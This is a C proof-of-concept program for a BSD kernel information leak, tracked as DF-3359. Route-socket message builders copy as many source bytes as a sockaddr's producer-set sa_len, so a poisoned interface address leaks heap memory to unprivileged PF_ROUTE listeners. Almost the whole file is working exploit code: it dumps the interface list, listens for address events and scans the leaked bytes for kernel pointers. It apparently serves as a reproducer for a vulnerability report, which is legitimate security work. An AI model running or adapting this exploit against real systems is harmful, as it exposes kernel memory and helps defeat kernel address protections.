/*
 * DF-3359 -- rtsock builders trust producer sa_len for the SOURCE read.
 *
 * rt_msg_buffer()  sys/net/rtsock.c:1140-1144:
 *	dlen = RT_ROUNDUP(sa->sa_len);
 *	bcopy(sa, cp, dlen);		 <-- source read of sa_len bytes
 * rt_msg_mbuf()    sys/net/rtsock.c:1175-1180,1202-1206:
 *	len += RT_ROUNDUP(sa->sa_len); ... m_copyback(m, len, dlen, sa);
 * plus sysctl_iflist / rttable_walk_entry consumers.
 *
 * The destination is sized from the same sa_len (no write overflow --
 * that part is fine), but the SOURCE read is bounded by nothing but the
 * producer-set sa_len.  When a producer persists a length larger than
 * its true allocation -- exactly what the DF-3320 setup does by planting
 * sin_len=200 into a live struct in_ifaddr (ia_addr at offset 312 of a
 * 360-byte heap object) -- every route-socket message built from that
 * ifaddr over-reads up to 184 bytes past the allocation and ships the
 * bytes to any PF_ROUTE listener.  Unprivileged.
 *
 * This PoC runs as the UNPRIVILEGED user:
 *   1. sysctl NET_RT_IFLIST dump -> parse entries for lo0, find the
 *      sa_len=200 sockaddr, print kernel-pointer candidates past
 *      offset 48 (the true end of the in_ifaddr object).
 *   2. subscribe on a PF_ROUTE socket; the harness driver (root) then
 *      pokes the alias (ifconfig lo0 -alias / alias) which triggers
 *      RTM_NEWADDR/RTM_DELADDR built through rt_msg_buffer() with the
 *      poisoned ia_addr -- the same over-read, event path.
 *
 * Build: cc -O -o rtleak rtleak.c
 * Run:   ./rtleak            (as nobody; waits 12s for the root poke)
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/sysctl.h>
#include <net/if.h>
#include <net/route.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

static void
scan(const char *tag, unsigned char *p, int len)
{
	int i, ptrs = 0;
	if (len < 16 || p[1] != AF_INET) { return; }
	if (p[0] < 17) { return; }		/* only the poisoned entries */
	printf("[%s] sa_len=%u family=%u addr=%s\n", tag, p[0], p[1],
	    inet_ntoa(*(struct in_addr *)(p + 4)));
	printf("     candidate kernel pointers past offset 48 (object end):\n");
	for (i = 48; i + 8 <= len; i += 8) {
		unsigned long long v;
		memcpy(&v, p + i, 8);
		if (v >= 0xffff800000000000ULL && (v & 7) == 0) {
			printf("       off %3d: 0x%016llx\n", i, v);
			ptrs++;
		}
	}
	if (!ptrs) printf("       (none in this copy)\n");
}

int
main(void)
{
	/* ---- 1. NET_RT_IFLIST dump (sysctl_iflist -> rt_msg_buffer path) ---- */
	int mib[6] = { CTL_NET, PF_ROUTE, 0, 0, NET_RT_IFLIST, 0 };
	size_t len = 0;
	if (sysctl(mib, 6, NULL, &len, NULL, 0) < 0) { perror("sysctl size"); return 1; }
	unsigned char *buf = malloc(len);
	if (sysctl(mib, 6, buf, &len, NULL, 0) < 0) { perror("sysctl iflist"); return 1; }

	unsigned char *cp = buf;
	unsigned char *ep = buf + len;
	int poisoned = 0;
	while (cp < ep) {
		struct rt_msghdr *rtm = (struct rt_msghdr *)cp;
		if (rtm->rtm_msglen == 0) break;
		int hlen = rtm->rtm_msglen;
		/* walk the sockaddrs after the header */
		unsigned char *sap = cp + (rtm->rtm_type == RTM_IFINFO ?
		    sizeof(struct if_msghdr) : sizeof(struct ifa_msghdr));
		unsigned char *saend = cp + hlen;
		while (sap + 2 < saend) {
			u_char sl = sap[0];
			if (sl == 0) break;
			if (sl > 16) { scan("IFLIST", sap, sl); poisoned++; }
			sap += RT_ROUNDUP(sl);
		}
		cp += hlen;
	}
	printf("NET_RT_IFLIST: %d poisoned (sa_len>16) sockaddr(s) found\n\n", poisoned);

	/* ---- 2. live PF_ROUTE listener for RTM_NEWADDR/DELADDR ---- */
	int rs = socket(PF_ROUTE, SOCK_RAW, 0);
	if (rs < 0) { perror("PF_ROUTE"); return 1; }
	printf("listening on PF_ROUTE for 12s (driver will poke lo0 alias)...\n");
	fflush(stdout);
	struct timeval tv = { 12, 0 };
	setsockopt(rs, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
	char rbuf[8192];
	int events = 0;
	for (;;) {
		ssize_t n = read(rs, rbuf, sizeof(rbuf));
		if (n <= 0) break;			/* timeout */
		struct rt_msghdr *rtm = (struct rt_msghdr *)rbuf;
		if (rtm->rtm_type != RTM_NEWADDR && rtm->rtm_type != RTM_DELADDR)
			continue;
		events++;
		unsigned char *sap = rbuf + sizeof(struct ifa_msghdr);
		unsigned char *saend = rbuf + rtm->rtm_msglen;
		while (sap + 2 < saend) {
			u_char sl = sap[0];
			if (sl == 0) break;
			if (sl > 16) scan(rtm->rtm_type == RTM_NEWADDR ?
			    "NEWADDR" : "DELADDR", sap, sl);
			sap += RT_ROUNDUP(sl);
		}
	}
	printf("PF_ROUTE events with poisoned sockaddr: %d\n", events);
	if (poisoned || events) {
		printf("VERDICT: REPRODUCED -- rtsock builders copied "
		    "sa_len bytes from an allocation smaller than sa_len and "
		    "delivered them to an unprivileged listener\n");
		return (0);
	}
	printf("VERDICT: not reproduced\n");
	return (1);
}
